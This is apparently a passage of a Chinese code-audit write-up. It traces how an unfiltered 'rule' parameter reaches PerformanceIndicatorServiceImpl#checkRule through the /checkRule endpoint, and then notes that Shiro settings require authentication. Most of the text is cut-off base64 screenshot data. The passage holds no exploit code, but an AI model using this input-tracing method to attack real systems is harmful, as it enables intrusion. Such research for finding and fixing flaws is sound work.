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 truncated
|
||||
<p>找到<code>PerformanceIndicatorServiceImpl#checkRule</code>方法中有调用,参数也是从外部接收的</p>
|
||||
<p><a id=img3 href=https://xzfile.aliyuncs.com/media/upload/picture/20240311095835-dec4266c-df4a-1.png title><img src="data:image/png;base64,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 truncated
|
||||
<p>继续查找<code>checkRule</code>的调用位置,定位到入口点<code>/checkRule</code>,到此请求参数<code>rule</code>并未发现任何过滤。</p>
|
||||
<p><a id=img4 href=https://xzfile.aliyuncs.com/media/upload/picture/20240311095845-e49ce056-df4a-1.png title><img src=data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAABg4AAAGGCAYAAACjaXqTAAAMQWlDQ1BJQ0MgUHJvZmlsZQAAeJyVVwdYU8kWnluSkEBooUsJvQkCUgJICaEFkF4EUQlJgFBiDAQVO7Ko4FpQsYANXRVR7IBYUMTOotj7YkFBWRcLduVNCui6r3xvvm/u/PefM/85c+7MvXcAUDvBEYlyUXUA8oQF4tiQAPq45BQ6qQegQAPoAnvgzOHmi5jR0REAlqH27+XdDYBI26sOUq1/9v/XosHj53MBQKIhTuflc/MgPggAXs0ViQsAIEp586kFIimGFWiJYYAQL5TiTDmuluJ0Od4rs4mPZUHcBoCSCocjzgRA9TLk6YXcTKih2g+xk5AnEAKgRofYNy9vMg/iNIhtoI0IYqk+I/0Hncy/aaYPa3I4mcNYPhdZUQoU5ItyOdP/z3T875KXKxnyYQWrSpY4NFY6Z5i3WzmTw6VYBeI+YXpkFMSaEH8Q8GT2EKOULElogtweNeTms2DOgA7ETjxOYDjEhhAHC3MjIxR8eoYgmA0xXCHoNEEBOx5iPYgX8vOD4hQ2m8STYxW+0IYMMYup4M9xxDK/Ul8PJDkJTIX+6yw+W6GPqRZlxSdBTIHYolCQGAmxKsSO+Tlx4QqbMUVZrMghG7EkVhq/BcSxfGFIgFwfK8wQB8cq7Mvy8ofmi23KErAjFXh/QVZ8qDw/WBuXI4sfzgW7zBcyE4Z0+PnjIobmwuMHBsnnjvXwhQlxCp0PooKAWPlYnCLKjVbY42b83BApbwaxa35hnGIsnlgAF6RcH88QFUTHy+PEi7I5YdHyePBlIAKwQCCgAwms6WAyyAaCjr7GPngn7wkGHCAGmYAPHBTM0IgkWY8QXuNAEfgTIj7IHx4XIOvlg0LIfx1m5VcHkCHrLZSNyAFPIc4D4SAX3ktko4TD3hLBE8gI/uGdAysXxpsLq7T/3/ND7HeGCZkIBSMZ8khXG7IkBhEDiaHEYKItboD74t54BLz6w+qCM3DPoXl8tyc8JXQSHhGuE7oItycJisU/RTkWdEH9YEUu0n/MBW4FNd3wANwHqkNlXAc3AA64K/TDxP2gZzfIshRxS7NC/0n7bzP44Wko7MhOZJSsS/Yn2/w8UtVO1W1YRZrrH/MjjzV9ON+s4Z6f/bN+yD4PtuE/W2ILsQPYWewkdh47ijUCOtaCNWHt2DEpHl5dT2Sra8hbrCyeHKgj+Ie/oScrzWS+U51Tr9MXeV8Bf5r0HQ1Yk0XTxYLMrAI6E34R+HS2kOs4ku7i5OIKgPT7In99vYmRfTcQnfbv3Pw/APBpGRwcPPKdC2sBYJ8H3P6Hv3M2DPjpUAbg3GGuRFwo53DphQDfEmpwp+kDY2AObOB8XIA78Ab+IAiEgSgQD5LBRBh9FlznYjAVzATzQCkoB8vAKrAObARbwA6wG+wHjeAoOAnOgIvgMrgO7sLV0w1egH7wDnxGEISEUBEaoo+YIJaIPeKCMBBfJAiJQGKRZCQNyUSEiASZicxHypEKZB2yGalF9iGHkZPIeaQTuY08RHqR18gnFENVUC3UCLVCR6EMlImGo/HoBDQTnYIWoSXoEnQNWoPuQhvQk+hF9Drahb5ABzCAKWM6mCnmgDEwFhaFpWAZmBibjZVhlVgNVo81w+d8FevC+rCPOBGn4XTcAa7gUDwB5+JT8Nn4YnwdvgNvwNvwq/hDvB//RqASDAn2BC8CmzCOkEmYSiglVBK2EQ4RTsO91E14RyQSdYjWRA+4F5OJ2cQZxMXE9cQ9xBPETuJj4gCJRNIn2ZN8SFEkDqmAVEpaS9pFaiFdIXWTPigpK5kouSgFK6UoCZWKlSqVdiodV7qi9EzpM1mdbEn2IkeReeTp5KXkreRm8iVyN/kzRYNiTfGhxFOyKfMoayj1lNOUe5Q3ysrKZsqeyjHKAuW5ymuU9yqfU36o/FFFU8VOhaWSqiJRWaKyXeWEym2VN1Qq1YrqT02hFlCXUGupp6gPqB9UaaqOqmxVnuoc1SrVBtUrqi/VyGqWaky1iWpFapVqB9QuqfWpk9Wt1FnqHPXZ6lXqh9Vvqg9o0DScNaI08jQWa+zUOK/Ro0nStNIM0uRplmhu0Tyl+ZiG0cxpLBqXNp+2lXaa1q1F1LLWYmtla5Vr7dbq0OrX1tR21U7UnqZdpX1Mu0sH07HSYevk6izV2a9zQ+eTrpEuU5evu0i3XveK7nu9EXr+eny9Mr09etf1PunT9YP0c/SX6zfq3zfADewMYgymGmwwOG3QN0JrhPcI7oiyEftH3DFEDe0MYw1nGG4xbDccMDI2CjESGa01OmXUZ6xj7G+cbbzS+LhxrwnNxNdEYLLSpMXkOV2bzqTn0tfQ2+j9poamoaYS082mHaafzazNEsyKzfaY3TenmDPMM8xXmrea91uYWIy1mGlRZ3HHkmzJsMyyXG151vK9lbVVktUCq0arHms9a7Z1kXWd9T0bqo2fzRSbGptrtkRbhm2O7Xrby3aonZtdll2V3SV71N7dXmC/3r5zJGGk50jhyJqRNx1UHJgOhQ51Dg8ddRwjHIsdGx1fjrIYlTJq+aizo745uTnlOm11uuus6RzmXOzc7Pzaxc6F61Llcm00dXTw6Dmjm0a/crV35btucL3lRnMb67bArdXtq7uHu9i93r3Xw8IjzaPa4yZDixHNWMw450nwDPCc43nU86OXu1eB136vv7wdvHO8d3r3jLEewx+zdcxjHzMfjs9mny5fum+a7ybfLj9TP45fjd8jf3N/nv82/2dMW2Y2cxfzZYBTgDjgUMB7lhdrFutEIBYYElgW2BGkGZQQtC7oQbBZcGZwXXB/iFvIjJAToYTQ8NDloTfZRmwuu5bdH+YRNiusLVwlPC58XfijCLsIcUTzWHRs2NgVY+9FWkYKIxujQBQ7akXU/Wjr6CnRR2KIMdExVTFPY51jZ8aejaPFTYrbGfcuPiB+afzdBJsESUJrolpiamJt4vukwKSKpK5xo8bNGncx2SBZkNyUQkpJTNmWMjA+aPyq8d2pbqmlqTcmWE+YNuH8RIOJuROPTVKbxJl0II2QlpS2M+0LJ4pTwxlIZ6dXp/dzWdzV3Bc8f95KXi/fh1/Bf5bhk1GR0ZPpk7kiszfLL6syq0/AEqwTvMoOzd6Y/T4nKmd7zmBuUu6ePKW8tLzDQk1hjrBtsvHkaZM7RfaiUlHXFK8pq6b0i8PF2/KR/An5TQVa8Ee+XWIj+UXysNC3sKrww9TEqQemaUwTTmufbjd90fRnRcFFv83AZ3BntM40nTlv5sNZzFmbZyOz02e3zjGfUzKne27I3B3zKPNy5v1e7FRcUfx2ftL85hKjkrklj38J+aWuVLVUXHpzgfeCjQvxhYKFHYtGL1q76FsZr+xCuVN5ZfmXxdzFF351/nXNr4NLMpZ0LHVfumEZcZlw2Y3lfst3VGhUFFU8XjF2RcNK+sqylW9XTVp1vtK1cuNqymrJ6q41EWua1lqsXbb2y7qsdderAqr2VBtWL6p+v563/soG/w31G402lm/8tEmw6dbmkM0NNVY1lVuIWwq3PN2auPXsb4zfarcZbCvf9nW7cHvXjtgdbbUetbU7DXcurUPrJHW9u1J3Xd4duLup3qF+8x6dPeV7wV7J3uf70vbd2B++v/UA40D9QcuD1Ydoh8oakIbpDf2NWY1dTclNnYfDDrc2ezcfOuJ4ZPtR06NVx7SPLT1OOV5yfLClqGXghOhE38nMk49bJ7XePTXu1LW2mLaO0+Gnz50JPnPqLPNsyzmfc0fPe50/fIFxofGi+8WGdrf2Q7+7/X6ow72j4ZLHpabLnpebO8d0Hr/id+Xk1cCrZ66xr128Hnm980bCjVs3U2923eLd6rmde/vVncI7n+/OvUe4V3Zf/X7lA8MHNX/Y/rGny73r2MPAh+2P4h7dfcx9/OJJ/pMv3SVPqU8rn5k8q+1x6TnaG9x7+fn4590vRC8+95X+qfFn9Uublwf/8v+rvX9cf/cr8avB14vf6L/Z/tb1betA9MCDd3nvPr8v+6D/YcdHxsezn5I+Pfs89Qvpy5qvtl+bv4V/uzeYNzgo4og5sl8BDFY0IwOA19sBoCYDQIPnM8p4+flPVhD5mVWGwH/C8jOirLgDUA//32P64N/NTQD2boXHL6ivlgpANBWAeE+Ajh49XIfOarJzpbQQ4TlgU+TX9Lx08G+K/Mz5Q9w/t0Cq6gp+bv8FudB8kK9mJ3wAAQAASURBVHic7N13eBvnmS78G40EC0gAJEiCvffeRfUuWbIsy3IvcpzqJJtsO7t7zu6ec/ZLdrPZk2TTi2PHjnuXLat3Wb2LpCg2sffeOwF8f4AcAgRAgiRIyc79uy5fhmYwMy8GgwH4Pu/7PKK4xAwDlpCXtzcAoKO9fSkPS0REREREREREREREdhDf6wYQEREREREREREREdH9g4EDIiIiIiIiIiIiIiISMHBAREREREREREREREQCBg6IiIiIiIiIiIiIiEjAwAEREREREREREREREQkYOCAiIiIiIiIiIiIiIgEDB0REREREREREREREJGDggIiIiIiIiIiIiIiIBAwcEBERERERERERERGRgIEDIiIiIiIiIiIiIiISMHBAREREREREREREREQCBg6IiIiIiIiIiIiIiEjAwAEREREREREREREREQkYOCAiIiIiIiIiIiIiIgEDB0REREREREREREREJGDggIiIiIiIiIiIiIiIBAwcEBERERERERERERGRgIEDIiIiIiIiIiIiIiISMHBAREREREREREREREQCBg6IiIiIiIiIiIiIiEjAwAEREREREREREREREQkYOCAiIiIiIiIiIiILine truncated
|
||||
<p>后面看了一下shiro的鉴权配置,发现该接口并不是前台的。</p>
|
||||
<p><a id=img5 href=https://xzfile.aliyuncs.com/media/upload/picture/20240311095854-ea48ac7e-df4a-1.png title><img src=data:image/png;base64,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